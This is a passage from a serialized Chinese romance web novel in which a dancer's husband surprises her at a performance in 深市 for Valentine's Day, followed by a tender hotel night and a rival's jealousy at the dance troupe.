黎晚棠的演出依旧是稳定发挥,随着动作越来越熟练,她只需闭上眼,全身心跟着音乐舞动,不管是下腰还是旋转,仿佛都能驾轻就熟。 一曲结束,黎晚棠朝台下观众深深鞠躬。 直到观众掌声逐渐停歇,她才起身走向后台。 “跳得不错,我站在侧台看入迷了。” 黎晚棠下台时,演播厅导演给她比划个大拇指。 “谢谢。”黎晚棠谦虚一笑。 回到化妆间,大家正在收拾东西,看到她回来,全部停下手里动作,整齐给她鼓掌。 或许是这些天的习惯,她每次下台,他们都会单独给她掌声。 黎晚棠笑着说谢谢,落坐后,化妆老师帮她卸妆和拆卸头饰。 这个时候,她就会很放松地闭目养神。 这次可能太放松,手机响了都没听到,化妆师多次提醒她,她才缓缓睁开眼。 拿过手机,看到是傅砚深打来的电话,她表情愣了下,半晌才接通:“喂。” “演出结束后,接下来还有别的安排吗?”傅砚深轻声询问。 黎晚棠茫然眨眼,不懂傅砚深怎么会这么问。 而且他这样的语气和口吻,就好像他们在同一个城市,他跟往常那样,问她几点下班。 “没有。”黎晚棠老实回答。 傅砚深说:“那你忙完就出来,我在剧院门口。” 剧院门口? 黎晚棠忽然反应过来,惊诧的同时,又有些不可思议:“你是在……保罗剧院门口?” “嗯,不着急,等你忙完出来就行。” 黎晚棠深吸一口气,傅砚深能如此了解她的表演时间,连她下台卸妆都算准了,不用猜,他肯定是看了她的现场表演。 不知为何,她这一刻的心跳竟然有点快。 或许是意外他的突然出现,又或许今天这个日子特别。 总之那颗狂跳不止的心,一路走出剧院,仍没停歇。 反倒是看到站在圆柱旁的男人,跳得越发剧烈起来。 她抬手在胸口上来回抚平,丝毫没有减轻。 黎晚棠索性停下脚步,想着让心跳平静下来,再过去。 抬起的头,却忍不住去打量远处的男人。 傅砚深侧身站着,一身挺括的黑色西服套装,将他身形拉得更加修长挺拔,肩宽窄腰,西裤包裹下的腿形笔直而利落。 或许是她打量的目光太过灼热,男人似有感应般地扭头看来。 也正是这样,他那张清峻的轮廓在灯光下越发明显,眉骨和鼻梁的线条如刀削般流畅,衬得他那双黑眸越发深邃有神。 两人隔空相望,黎晚棠猛然回神,笑着走过去,尽量让自己的语调轻松:“你怎么突然过来了?” “忙完了,就顺便过来看看。” 傅砚深垂眸时,目光从女孩脸上扫过,清爽干净,肌肤透亮,应该刚卸完妆就出来了。 黎晚棠挑眉:“顺便?你也在深市出差吗?” 傅砚深摇头:“不是,在沪市。” “沪市!” 黎晚棠震惊睁眼,他说的顺便,就是飞过来看她的演出,然后再飞回去。 “你……”黎晚棠刚说出一个字,而后舔了下唇,顺着他的话问:“你顺便过来看看,是有事?” 他不明说,她也不好胡乱猜测,万一是她在自作多情,反倒把场面弄尴尬了。 傅砚深黑眸定定地望着她,语气是前所未有的温柔:“应该纠正一下,不是顺便,而是特意。” “特意过来看你的演出,特意过来找你,特意过我们婚后的第一个情人节。” 他说这句话时,语气很慢,慢到每个字都像在告白。 然而,黎晚棠刚平复下来的心跳,却因他这话再次跳动起来,在胸腔里砰砰作响,仿佛下一秒就能跳出来。 好像比看到他站在这里时,更加剧烈了些。 黎晚棠还在木纳地望着他,很不理解,人的心脏为什么会跳那么快,像刚跑完八百米,她除了没有气喘吁吁,跳动的声音都掩盖住周围的嘈杂。 许久的沉默后,她淡定扯唇:“我还以为,你不会过这种节日。” 傅砚深目光幽深地望着她:“嗯,以前是不过,但现在不同了。” 黎晚棠:“……” 意思就是,现在有她了,所以不同? 那这话是单独指她,还是指作为他妻子,才会有的优待。 黎晚棠又忍不住去想,如果换成任何一个人,只要对方是他的妻子,他也会这样吗? 不知为何,光是这么想想,她心里就莫名滋生出一股说不出的烦躁。 不让自己瞎想下去,黎晚棠忙转移话题:“你吃饭了吗?” “没,刚下飞机就往剧院赶。” 傅砚深低头看了眼腕表:“我知道附近有家不错的餐厅,现在还没打烊。” 黎晚棠点头:“行啊,刚好我晚上也没怎么吃。” 一拍即合,两人打车来到目的地。 只是当黎晚棠看到是一家粤菜餐厅时,忍不住弯唇笑了:“这就是你说的,不错的餐厅?” 傅砚深点头:“嗯,之前出差来这里吃过,他家食材新鲜,味道也不错。” 黎晚棠低头憋着笑,深市随便走进一家有氛围的粤菜馆,都能做出这个味道。 只要口味偏清淡的,都会爱上。 估计傅砚深很少来外面吃,才会这么认为。 过了用餐高峰期,餐厅人很少,偏头望去,只是看到几对吃完饭的情侣,还在座位上聊天。 服务员领着他们落座,傅砚深第一时间先把点菜的平板递给她:“他家海鲜不错,你多吃点可以。” 这次见面,她明显瘦了很多,下巴又比之前尖了,笑起来的时候那对梨涡很深。 “嗯,我是得多吃些。” 黎晚棠感觉她现在能吃下一头牛,这阵子跑来跑去耗费的体力太大,每晚睡着后,她还能感觉到饥饿感,只是怕影响身材,才控制没吃。 点了好几样海鲜,黎晚棠把平板递给他:“我点好了,你再看看吧。” 傅砚深接过随意看了眼,后面又给她加了份汤。 可能是没人的原因,餐厅上菜很快。 黎晚棠还跟之前一样,迫不及待拿起筷子开吃。 傅砚深帮她往餐盘里夹菜,见她这样,忍不住问:“演出强度大,你还在控制饮食?” “早餐和午餐正常吃,晚上就随便垫一口。” 黎晚棠低头去吃他夹的虾仁。 闻言,傅砚深眉心轻折:“你这样的饮食习惯不行,而且你又不胖,没必要这么克制。” “也不是刻意,晚上吃多了会影响演出。”黎晚棠嘴里吃着食物,含糊解释。 傅砚深知道她现在的演出频繁,清楚有些事情不可控,但还是想说:“下次不能饿着上台。” 语气有些严肃。 黎晚棠咀嚼的动作慢了下来,抬眸看他一眼,乖乖点头:“不过,我有时候可能也会忘记。” “那我以后每天提醒你。” 傅砚深脱口而出,甚至还有几分迫切。 黎晚棠表情微愣,片刻垂下头,嘴角很浅地勾了下:“哦,好。”- 吃完饭,他们并不着急回去,而是沿着餐厅门口往前漫步。 都说深市是个不夜城,这话果然没错,十点多了,路上还有来来往往散步的行人。 或许是白天太闷热,这个点在外面溜达的人还不少。 他们也像其他人那样,顺着人流多的地方走,走近才发现,这边原来是个小广场,路边还有很多摆夜市的小摊。 小摊顶棚的七彩灯很耀眼,好像卖什么都有。 这时,忽然一女孩喊道:“靓仔,今天情人节,要不要买束花送给女朋友。” 被叫做靓仔的傅砚深表情微愣,不是听不懂这句靓仔,而是她那句女朋友让他晃神。 活了快三十岁,他身旁从未出现过女朋友这样的称呼。 这是第一次,却格外悦耳。 举着玫瑰花的女孩嘴角笑容一点点收敛,她以为是自己搞错了,两人并不是什么情侣。 黎晚棠见傅砚深不说话,以为他是不喜欢送花这种形式,忙开口解释:“你搞错了,我们不是情——” 她后面的话还没说完,傅砚深突然出声:“你还有多少,我全买了。” “……” 这会儿轮到卖花的女孩愣住,见过买花的,没见全买的,所以她一时没反应过来。 黎晚棠也被傅砚深豪横的话吓到,低头瞧了眼女孩身后的玫瑰花,看似还有半车呢。 他是疯了吗,以为过来批发呢? “不用了,谢谢。” 黎晚棠拉着傅砚深就要离开,可她刚迈出两步,发现这人还站着没动,她反倒弹了回去。 她不解回头:“干嘛呢?” 傅砚深垂眸看她:“花还没买。” 黎晚棠见卖花的女孩满眼期待的看着自己,而身旁男人还如此执着,她稍稍偏过头,悄声道:“那……只能买一束。” 到最后离开时,黎晚棠怀里还是抱了两束玫瑰。 傅砚深的解释是,他刚才说要全买,最后只买一束不好。 卖花的女孩高兴了,又特意多送了他们两支。 黎晚棠不时偏头瞥了眼,傅砚深手里拿着的那两支红玫瑰,嘴角忍不住上扬,这画面怎么看怎么搞笑。 特别是他拿花的姿势,紧握住拿在身前,如果单膝下跪,不知道的还以为他在求婚。 逐渐远离广场的喧嚣后,黎晚棠收敛笑意,认真问:“你订酒店了吗?” 她不清楚他待会是要回去,还是在这边住一晚,这么问,也像是在试探他的意思。 傅砚深将脚步放慢了些,偏头看她:“没有,你们明天还有演出吗?” 黎晚棠摇头:“深市没有了,但广市还有一场。” 两座城市距离不远,他们今晚不着急出发,刘指导说明天吃完早餐后再走。 “嗯,那我今晚住下。” 傅砚深这趟的行程没有计划,何况沪市有萧仲,他相信有些事他能处理好。 黎晚棠抱住花束的手微紧,他没说订酒店,意思今晚是要跟她同住一家酒店。 不过想想也合理,他们同床共枕那么久了,而且还是合法夫妻,若要他单独出去开一间房,反倒显得奇怪。 两人边走边聊,虽然聊得不多,但不知不觉就走到酒店门口。 踏入酒店大厅,都心照不宣地往电梯间走。 乘坐电梯抵达楼层,黎晚棠低头拿出门卡,滴一声,房门打开。 推开门,插入房卡,黎晚棠侧身邀请:“没有你住的总统套房大,将就一晚。” 房间都是团里统一开的,她的算是豪华大间了。 “我没那么多讲究。” 傅砚深根本不介意这些,只要环境干净,而且有她在就行。 关上房门,黎晚棠才后知后觉反应过来,傅砚深手里一直没有拿行李箱。 她将怀里的玫瑰放下,转身问:“你行李放哪了,现在需要过去拿吗?” 傅砚深坦言:“没带。” 留在这边住一晚,是在他的意料之外。 黎晚棠微挑了下眉,而后扯唇笑道:“不过没事,要洗的衣服可以叫客房服务。” 衣柜里有浴袍,没有穿的情况下,忽略掉洁癖。 至于换洗内裤,这事让他自行解决。 时间不早,黎晚棠先去洗澡,出来后,傅砚深还坐在沙发上翻看杂志。 “我好了,你去吧。” 傅砚深抬头看她,轻嗯了声,随后将手里的杂志放下,取走衣柜里的浴袍,转身进了浴室。 黎晚棠擦完水乳,走到沙发旁去拿手机时,余光瞥见圆木桌上反盖住的杂志,目光停留了两秒,她好奇地翻了过来。 见傅砚深看得那么认真,本以为是看到什么有趣的话题,然而翻过来,居然是目录导读。 目录导读? 黎晚棠不解皱眉,随即想到什么,忽而弯唇,所以他半天就在看这个。 重新放回原处,她拿着手机躺回床上,后背靠着床头,漫不经心滑动屏幕,翻看微博。 只是没过多久,浴室里的水声停止,下一秒,身穿白色浴袍的傅砚深走了出来魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 空气中仿佛带着淡淡的水汽,随着他的靠近,眼前的视线像笼罩上一层薄薄的氤氲。 他发梢还滴着水珠,看似松垮的浴袍,腰间的腰带却紧紧系着,由于浴袍是翻领的设计,锁骨与胸膛的线条若影若现。 衣摆下的小腿肌肉分明,无法隐藏。 或许是从未见过傅砚深这么穿,黎晚棠看得有些入神。 她都知道傅砚深身材好,虽然没亲眼看过,但她压着他睡时,隔着衣料的触感格外清晰。 就这般望着,她竟无意识地咽了咽喉。 不怪叶知薇垂涎他的身材,总说她吃得好。 这要真吃上了,她可能真的无法反驳。 因为事实胜于雄辩。 “我在洗手间没找到吹风机。”傅砚深站定在床尾,偏头在房间里环视一圈。 黎晚棠猛然回神,慌忙收回视线,舔唇道:“哦,我上午吹头发,随手放在洗手台下面的柜子了。” 她想起身去帮他拿,傅砚深先开口:“你不用动,我自己去找。” 很快,洗手间就响起嗡嗡嗡的吹风声。 黎晚棠这时已经放下手机,老老实实躺在床上。想到刚才她花痴地盯着他看,脑子冒出一堆黄色废料,思想极其不健康。 就算现在回想,闪过的画面依旧是傅砚深身穿浴袍的样子。 她舔了舔唇,这会儿莫名觉得有点口干舌燥。 吹风的声音停止,她乱飞的思想秒收,故作淡定地拉上被子,一副准备要入睡的模样。 恰好在这时,床垫的另一端陷了下去。 清爽的沐浴香袭来,跟她身上的是同一个味道。 “我关灯了。”傅砚深偏头询问。 黎晚棠轻轻点头,开始闭上眼睛,满脸淡然地样子。 其实内心慌乱一片。 两人快十天没躺在一张床上,熟悉的气息再度在耳边萦绕,这次她的心境却有了翻天覆地的变化。 她竟然会紧张,动作也变得拘束,以往躺下就会滚入他怀里,理所当然拿他手臂当枕头。 今晚迟迟没动,无法控制的心跳在悄无声息地加速。 黎晚棠搞不懂这是什么变化,明明都那么熟悉的,这会儿开始害羞起来。 “太久没压着我睡,是不习惯了吗?”傅砚深的声音在黑暗中响起。 黎晚棠咯噔一下,脸上闪过慌乱,好在黑暗掩盖住她的无措:“不是,我以为你没躺好。” 其实前几日,她花了大量的时间来适应他不在身旁,这几天虽然能睡整觉,却依旧不踏实。 完全没有压着他,累了倒头就睡的情况。 她清楚,这是没有他当抱枕和他身上的体温作陪伴,在她内心深处,少了连她自己都没察觉到的安全感。 “我躺好了,过来吧。”傅砚深很自然地伸出胳膊。 黎晚棠感受到他指尖划过她侧颈,身体微僵了下,片刻,她故作镇定地转身,压上他胳膊的同时,整个人窝进他怀里。 本以为会僵硬到无处安放的胳膊和腿,在触碰到他的身体后,完全是下意识的动作,手脚并用地全压在他身上。 傅砚深下巴微垂,轻柔的抵在她发顶。 黑暗中,两人都沉默不语,静谧中除了平稳的呼吸外,唯一能感受到的就是彼此身上的体温。 黎晚棠呼吸微屏,莫名感觉贴在傅砚深身上的温度越来越高,像是要将她烤化。 深市本来就闷热,空调温度比在京北还低了两度,可体温却不见下降。 就当她热得快冒气时,男人低沉的声音从她头顶响起:“很热吗?” 黎晚棠一怔,慢半拍抬头:“有点,难道你不热?” 他身上的温度比她的还烫。 “热。” 傅砚深缓缓垂眸,对上女孩那双黑亮的眸子,就算此刻在黑暗中,他也能轻而易举地扑捉到:“要不再把空调温度调低几度。” “可以,我去拿遥控器。” 黎晚棠准备翻身,搭在他胸口上的手指,却无意从他微敞的浴袍领划入,没有衣料的遮挡,男人坚硬有型的胸肌,这会儿实实在在躺在她掌心下。 就因这个举动,两人身体同时僵住,萦绕在周边的空气一下子变得黏稠,仿佛一个火星,就能将其点燃。 黎晚棠紧张地咽了咽喉,指尖僵硬地动了两下,刚准备抽出,原本平躺的男人忽而侧身,另一只大手毫无预兆地扣住她腰肢。 “黎晚棠,想不想接吻?” 男人声音很低哑,仔细听又像在竭力克制。 黎晚棠骤然抬头,本想说这种事哪有问出口的,气氛到了直接亲不就行了。 可她这话还没说出,就在她抬起头的那一瞬,傅砚深直接倾身,准确无误地衔住她的唇。 他耐心耗尽,似乎已经等不及她的回答,舌尖长驱直入,带着一丝急迫,想立马沾染上她的味道。 当女孩盯着他看的时候,他就在克制了,是她最后打破他那点冷静。 黎晚棠微扬起头,感受傅砚深在她唇瓣上的攫取,缠绵而又湿潮触感,使得她全身血液都在沸腾。 仔细算算,他们已经很久没接吻了,虽然没刻意去回味,但这次的感受却完全不同。 她觉得不只是血液在沸腾,整个身体都为之变得柔软。 浑身的酥麻感从骨头缝里冒出来,像被人抽掉筋骨,软得全身没力。 心底却逐渐产生某种不可控制的欲。望。 那种感觉特别强烈,就像被吹大的气球,达到一定的空间容量,即将爆炸。 黎晚棠攥拳隐忍,最后没忍住,忽而勾住他脖子,热情回应他这个吻。 傅砚深被女孩的主动刺激,呼吸开始变得紊乱,扣住她腰肢的手忽地收紧,将人反压在床上。 他垂下头,幽深的眸子望着眼前的女孩,指尖轻轻挑开她脸颊发丝,而后猛压下去,灼热的吻继续加深。 暧昧至极的接吻声,在昏暗中响起,让人脸红心跳。 男人的吻不仅限于此,逐渐从她的脸颊,下巴,耳朵,再偏头吻到她的脖子。 这一系列的游走,让黎晚棠心跳加速,明白这个单纯的吻逐渐变得不单纯。 她抓住傅砚深胳膊的手下意识收紧,受不住的情愫在心底蔓延,使得她难耐地仰起头。 傅砚深的呼吸渐浓,那双黑眸更是暗得深不见底,此刻就像是品尝到什么绝世佳肴,让他深陷,沉迷得不可自拔。 黑暗中,衣衫凌乱,呼吸不稳。 直到耳边响起女孩那声难以自控的嘤咛声,他失控的理智在这一刻骤然回归。 傅砚深及时停止往下的动作,单手撑着床垫,没把全部力量压在女孩身上,偏头凑到她耳边,哑声道:“不着急好不好?” 湿潮的吻冷不丁消失,黎晚棠缓缓睁开双眸,耳边是男人沉重的呼吸声,她轻喘着气望着他,似乎不能理解,他为什么在这一刻停下来。 亲吻时,两人身体紧贴,她明显能感觉到他身体上的变化,而且她也没表现出任何抗拒的意思,这点他应该感受得到。 她是愿意的。 现在忽然停止,黎晚棠不懂他在顾虑什么。 “其实我……可以。” 她极轻地说出这句话,脸颊却早已爆红,这会儿很庆幸房间没灯,掩盖住她的尴尬。 “我知道。”傅砚深这会儿的声音也暗哑得不行,呼吸在控制:“是我没准备好。” 他想再等等,等女孩彻底爱上他的那一天。 他想要的,一直是她的全部。 只有让她心甘情愿地托付,他才会心安理得地接受。 黎晚棠羞赧闭眼,带着浓浓的怨气:“可我都……” 她这话虽然没说完,傅砚深却知道她所要表达的意思。 他微微勾唇,翻身将人抱在怀里,手臂很自然的枕在她脑后。 突如其来的拥抱,让黎晚棠一怔,整个后背都贴在他胸膛处,如此暧昧的抱姿,像一对亲密无间的恋人。 她原本还有些埋怨的郁气逐渐消散,脸颊往里侧了侧,找了个更舒适的位置靠着他。 这是他们同床共枕以来,傅砚深首次抱着她睡觉,原来整个身体被他笼罩在怀里,内心会如此平静。 还有着,前所未有的安全感。 黎晚棠还以为被他这样抱着会睡不着,殊不知,没过多久就有了困意,而且睡得比任何一次都要安稳。 当平稳的呼吸声响起,原本闭上眼睛的傅砚深缓缓睁开,他低头看着怀里睡着的人,内心被某种情绪填满。 回想今晚女孩异常的表现,他浅浅勾唇,圈住她腰肢的手一点点收紧,最后满足地抱住怀里的人。 她对他。 好像没那么陌生,与他说话时,脸上的笑容越来越多。 耳边听着她平稳地呼吸,傅砚深再次闭上眼,与她一同入睡- 次日清晨。 黎晚棠准时从生物钟中醒来,掀开被子就要起身,腰肢仿佛被什么东西牢牢圈住。 脑袋放空,她猛然想起昨晚不是自己一个人入睡,傅砚深过来了,不仅看了她的演出,还陪她过了情人节。 而缠在她腰间的这只手,正是傅砚深那只沉重的胳膊。 察觉他还没醒,黎晚棠起身的动作顿住,又小心翼翼地缩回他温暖的怀抱之中。 不可能再睡,她黑亮的眼睛一直睁着,闲着没事,静静盯着窗帘上绣着的那几只蝴蝶。 大概是看腻了,黎晚棠微微转过身,把目光放在闭眼沉睡的男人脸上。 睡着的傅砚深不戴眼镜,额头蓬松的碎发垂落,没了睁眼时的压迫感,这会儿看着很温柔。 近距离观察,傅砚深长得是真好看,五官立体流畅,鼻梁高挺,薄唇紧闭,下巴那颗淡痣,给他添了几分成熟男人的魅力。 这段时间的相处,让她渐渐了解到傅砚深这个人的本质。 他像块年代久远的老怀表,看似陈旧,但拧紧发条后发现,里面暗藏紧密与意外。 而刚开始以为,他是块不通人情的板砖,沉闷死板,没情趣。 实则不然,他内心暗藏年轮般的层次感,既有内涵又沉稳。 他不光外表好看,还有深度。 黎晚棠仔细去回想两人那些相处日常,有时候显得傅砚深耿直得可爱。 “是让你继续看下去,还是我先睁眼。” 突然响起的声音,吓得黎晚棠立马就要转身,可没等她行动,男人那只大手直接扣住她的腰。 下一秒,两人目光不偏不倚地对上。 她从傅砚深眼中没看到一丝惺忪,反倒黑亮有神。 黎晚棠挑眉:“你早就醒了。” 傅砚深垂眸凝视着她,实话实说:“嗯,感觉你一直在看我,也不好打断。” “……” 他全程闭眼,那只眼睛看到的? “你……怎么会知道?”黎晚棠有些不好意思地反问,内心却又挺好奇的。 傅砚深很轻地笑了下:“其实你在我怀里转身的时候,我就醒了。” 这人洞察力也太强了,一个转动转身就知道她在看他。 黎晚棠的目光突然被傅砚深上扬的嘴角所吸引,心想他笑起来真好看,以后就该这么多笑。 察觉自己思想又在跑偏,她赶紧垂眸舔唇:“那个,时间不早了,我先起床。” 不知不觉,她都盯着傅砚深看了半个小时,若不是他出声提醒,还不知要看多久。 她不是个爱犯花痴的人,却能出神的观察他那么久。 傅砚深拿过手机看了眼,时间显示七点半。 对于这个数字,他眉头很轻地皱了下。 这些年,他从未睡过这个点,昨晚却因为怀里的人,竟贪恋的没有一丝起床意识。 放下手机,他偏头问:“你们大概几点出发。” “吃完早餐就走,可能九点之前吧。”黎晚棠也不确定,不知道刘指导怎么安排。 “好,吃完早餐,我送你。” 两人同时从床上坐起身,黎晚棠余光瞥见他微敞的浴袍领口,从她这个角度,能一直看到他腹肌的位置。 她忙转移视线,又莫名有点口干了:“好。” 若要放在以前,她巴不得要他快点离开,这会儿却只想让他待久点。 对于冒出这样的想法,黎晚棠也觉得不可思议。 她起床先去洗漱,进入洗手间,对着镜子拍了拍发红的脸颊。 完了,她现在目光竟会不由自主落在他胸肌和腹肌上,以前没摸着还不觉得,昨晚摸到后,那种触感可以凭空无限畅想。 黎晚棠深吸口气,让自己平静下来,洗漱完出去,发现傅砚深已经穿着整齐。 可能是酒店工作人员,已经把他烘干的衣服送过来了。 等傅砚深洗漱完,两人去酒店餐厅吃早餐。 只是他们还没入座,身后就有声音传来:“晚棠,原来你是先下来了。” 黎晚棠回头,舞团随同的其他人员都出现在身后,刘指导也在。 他们或许看到她旁边的傅砚深,脸上或多或少带着几分打量。 最后是刘指导先笑着开口:“晚棠,这位是?” 有同事笑着接话:“刘指导,我知道,他是晚棠的老公,以前经常过来接晚棠下班。” 黎晚棠结婚的事大家都知道,也有很多同事见过他老公,加上傅砚深经常过来接她,人长得好看,避免不了被大家关注。 刘指导笑着上前:“哦,原来这位是你先生。” 傅砚深见人走近,礼貌伸出胳膊跟他握手:“谢谢大家,平时对我太太的照顾。” “客气了,要说照顾,晚棠也不少帮我们忙。” 刘指导活了快四十岁,什么形形色色的人都见过,这男人一看就气质不凡,想来也是位大人物。 几人来到一处较大的餐位落座,服务员过来点单。 深市的早茶是当地特色,来之前大家都做过攻略,各自都点了些自己爱吃的。 最后端上桌,满满一大桌。 大家低头开吃,傅砚深却是一直在帮黎晚棠夹菜。 其他人见了,纷纷弯唇轻笑,由于跟傅砚深不熟,也不好当面开玩笑。 只是当他前脚离开,就有同事笑着调侃:“晚棠,你老公对你也太贴心了,全程没见他怎么吃,全在照顾你。” 黎晚棠或许是习惯了,没觉得有什么不妥,但经过同事的提醒,她好像也意识到,傅砚深像担心她吃不饱似的,一个劲给她夹菜。 想到这,她浅浅勾唇:“他一直都这样,我都习惯了。” 确实是习惯了,只要在外面吃饭,傅砚深就会如此,只是今天格外夹得多。 忽然想到他叮嘱她要好好吃饭的事,她没忍住又笑了。 同事见她满脸挂着甜蜜,故意道:“呀,这波狗粮太甜,我吃得有点吃撑。” “那你这笼排骨给我吧。”有同事伸手就要拿。 女同事骂着拍开他的手:“滚,这蒸排骨,再来两笼我都能吃完。” 说说笑笑,刘指导起身要去买单时,服务员却告知已经买完了。 大家互看一看,视线都落在黎晚棠身上。 这次没人说话,脸上羡慕的表情已经掩盖不住。 这种老公也只配优秀的人拥有。 收拾行李走出酒店,傅砚深送黎晚棠上车:“到了记得给我信息,自己在外注意安全,记住,每餐要按时吃,你现在运动量大,不可以绝食。” 黎晚棠想笑,但强硬忍住了:“嗯,我知道。” 很奇怪,现在对于他这样的絮叨,一点也不觉得烦,反而心里暖暖的。 “好,上车吧。” 傅砚深按耐住要拥抱她的冲动,低声道:“有任何事都可以跟我打电话。” 像这种话他以前不会表露,但现在却只想让她知道,不管什么事情,她都可以依赖他- 短暂的商演结束,大家返回京北,团长让他们休息几天,最后还有一场在京北的演出。 回到家,黎晚棠看着熟悉且又空旷的客厅,心里莫名觉得少点东西。 好像不知什么时候开始,她对这个家有了期待。 本以为傅砚深会比自己早回来,后来他在电话里说,还要去一趟南市,估计会晚两天。 从他过来找她那天开始,他们两的关系一下子有了翻天覆地的变化,傅砚深回去,真就每天会跟她发信息,提醒她吃饭。 一来二去,两人的联系越来越多,聊的话题也从简单的问候,到彼此的工作。 放下行李箱,黎晚棠没着急去洗澡,而是躺在沙发上缓一会儿,眼睛盯着天花板发呆。 突然耳边传来窸窸窣窣的声音,偏头看去,原来是石头过来了。 她笑着伸手,在它平白的脑袋摸了下:“你好石头,有没有想我。” 石头:“想你的人很多,我只是其中一个。” 黎晚棠勾唇,越发觉得这家伙有趣:“你好石头,还有谁想我?” 石头:“除了我,我家主人或许也在想你。” 黎晚棠低低笑了起来:“搞得你是他肚子里的蛔虫似的,啥都知道,傅砚深可不一定想我——” 只是她话还没说完,放在一旁的手机不合时宜地响了起来,黎晚棠偏头看了眼,立马从沙发上坐起身。 接通前,还不忘去摸石头的脑袋:“你真神了。” 盘腿重新坐好,黎晚棠清了清嗓音,接通:“喂。” “到家了吗?”傅砚深低沉磁性的声音传出。 黎晚棠嘴角无意识地扬起:“嗯,刚到家不久。” 傅砚深挑眉:“没吃饭?” 黎晚棠觉得好笑,这几天他格外关注她吃饭的事:“没,我等会儿叫个外卖。” “外卖不健康。” 黎晚棠指尖轻抠住沙发一角,低声嘟囔:“你又不在家,我只能吃外卖。” 她不会做饭,简单的蔬菜沙拉也不想吃。 这话落下,半天没听到对面人出声,她立马停止手上的动作:“怎么,你又要忙了吗?” 傅砚深回神:“不是。” 而是她下意识出口的话,让他思绪分神,紧接着内心又像被什么情绪塞满,只他恨不得立马就赶回去帮她做饭。 他收敛思绪,轻柔的声音听着像在哄她:“听话,不要吃外卖,晚点我让阿姨送饭过去。” 黎晚棠抿了抿唇,弯唇很轻地嗯了声,脑中忽然想到一件没完成的事,忙问:“对了,知薇想要采访你,说要做一期财经报道,你看……回来方便吗?” 这话问出口,她心里其实没什么谱。 傅砚深点头:“好,我会让萧仲联系她。” “啊?” 黎晚棠表情惊诧,没想到他毫不犹豫,就答应了:“你,不是不喜欢接受这种采访吗?” “但她是你的朋友。”傅砚深言简意赅。 言外之意就是,他确实不喜欢这样的采访,只因为叶知薇是她的朋友,所以才变得可以。 黎晚棠垂眸时,无声地笑了,这一刻,让她深刻地体会到了,什么叫偏爱。 “我替她谢谢你。” 本以为傅砚深会说不客气,这次却出奇地笑了:“你好像很喜欢隔着电话说谢谢。” 这话让她猛然想到,上次在苏市,她也是隔着电话跟他说谢谢。 黎晚棠唇角微弯:“行,这次等你回来,我当面一次性说。” 傅砚深笑意微敛,低沉的声音带着几分不易察觉的温柔。 “可我想要的,不只是你的谢谢。” 第32章 原本平静的心,再度被他这句暧昧不明的话拨动。 黎晚棠握住手机的指尖微微收紧,从傅砚深最近的说话方式,以及行为来分析,他感情上的态度逐渐显现。 不知是她自恋,而是傅砚深就是这个意思。 他对她,好像不只限于她是他的妻子。 当然这话她没接,快速转移到了别的话题。 最后要挂断时,傅砚深要她回家住,说有人照顾,他也不用担心她的饮食。 这事就算他不说,黎晚棠也会回家,毕竟出差那么多天,她也要回去看看沈老师他们。 “嗯,我知道了,你工作也别太晚。” 傅砚深手头这个项目有点棘手,这两天他经常加班,她清楚这事,临了,还是没忍住低声叮嘱了这么一句。 傅砚深却因她这句嘱咐,声音不自觉地柔和下来:“嗯,我会在你演出的那天赶回去。” 挂断电话,黎晚棠抱着手机又懒懒地躺回沙发,眼睛盯着头顶那盏极简风格的几何灯,嘴角一点点扬起。 傅砚深说会在她演出那天赶回来,不知为何,她心里竟莫名升起了一丝期待感。 没过多久,门铃声响起。 想到可能是阿姨送饭过来了,黎晚棠快速放下手里的衣服,快步去往玄关。 打开房门,门外确实站着一位眼生的阿姨。 “太太,这是少爷让我给您送的饭菜。” “谢谢。” 黎晚棠笑着接过,侧身刚要邀请她进屋坐坐,阿姨先笑着先开口:“太太,我就不进去了,您趁热吃。” 说完,阿姨便转身按下电梯,黎晚棠也不勉强,笑着目送她离开,这才拿着饭盒进屋。 将饭菜打开,看到全是她爱吃的菜,弯唇笑了。 记得两人重逢吃的第一顿饭,傅砚深就清楚她喜欢吃什么,以及能吃什么,看来是早就了解过她的喜好。 黎晚棠第二天就回家住了,除了日常训练,她几乎是吃完就睡,睡完就吃。 沈老师一直说她这次回来瘦了,不停地给她做好吃的。 黎晚棠怕自己在家这样待下去会迷失自我,回舞团上班那天,顺便搬了臻品豪庭。 这天她刚到舞蹈团,就被同事们围攻。 “晚棠,你现在是真的火了,连我身边的朋友都看过你的表演。” “可不吗,我堂妹还想要你的签名照呢。” “对对对,我们赶紧合个影,以后有朋友聊起你,我直接甩照片为证,说我们是一个舞蹈团的。” 黎晚棠觉得好笑,被他们拉着四处合照。 温若棠站在排练厅门口,远远看着走廊上的这一幕,她并未走上前,像其他人那样去跟黎晚棠合影。 只是盯着看了一会儿,她低头深吸了口气,转身进入排练厅,更加努力地去排练。 最近她也在参加一档本地台的舞蹈比赛,网上讨论的热度还可以,她也想借着这次机会,崭露头角。 趁着休息,她去给团长汇报这次比赛的情况,恰好撞见黎晚棠在里面。 此时房门没关,屋内的谈话内容,她站在门外能听得一清二楚。 “晚棠,明天在京北的那场表演好好表现,舞团收到一张国际比赛的邀请,主办方是看到了你跳的《丹青》,特别邀请你参加今年举办的国际舞蹈大赛。” “明天会有主办方亲临现场,看完你的表演后,会正式签约一份参赛合同书,到时候你将会站在更大的舞台,展示你的舞蹈,让全球人民都知道你的名字。” 站在门外的温若棠听到这些话,垂在腿边的手用力攥紧,她侧过身愤愤不平的想,为什么温若棠做什么都能快她一步,甚至还压她一头。 如果没有她,那现在所有的荣耀,是不是都属于她的。 察觉她们对话结束,温若棠低垂着头,转身快步离开,就当从来没来过- 能参加国际舞蹈比赛,黎晚棠当然高兴,这就代表她的作品已经被更多的人喜欢和认可。 但还没有正式签合同书之前,她还没把这个消息告诉任何人,包括傅砚深。 直到演出这天,黎晚棠中午排练完,返回休息室的途中,准时收到傅砚深提醒她吃饭的信息。 傅砚深:【别忘了,要好好吃饭。】 黎晚棠嘴角微弯,边低头回复,边往休息室走:【知道,我洗完澡就去食堂吃饭,你呢,中午吃了吗?】 见傅砚深没回,黎晚棠换下舞蹈鞋,光着脚丫去找换洗衣服,她还来不及穿上拖鞋,放在凳子上的手机震动起来。 她忙不迭弯腰去拿。 傅砚深:【正准备吃,萧仲订的工作餐。】 黎晚棠笑了下,抱着衣服准备去洗澡:【哦,那你今晚能回来吗?】 其实她很早就想问了,一直憋到现在。 黎晚棠笑着收起手机,就在她转身的那一瞬,脚底忽然踩到了什么尖锐的东西,她嘴角笑意秒没,接着一股刺疼从脚底直窜上来。 无比刺骨的痛感,让她脑子出现一片短暂的空白,感觉那一刹那像被疼木了。 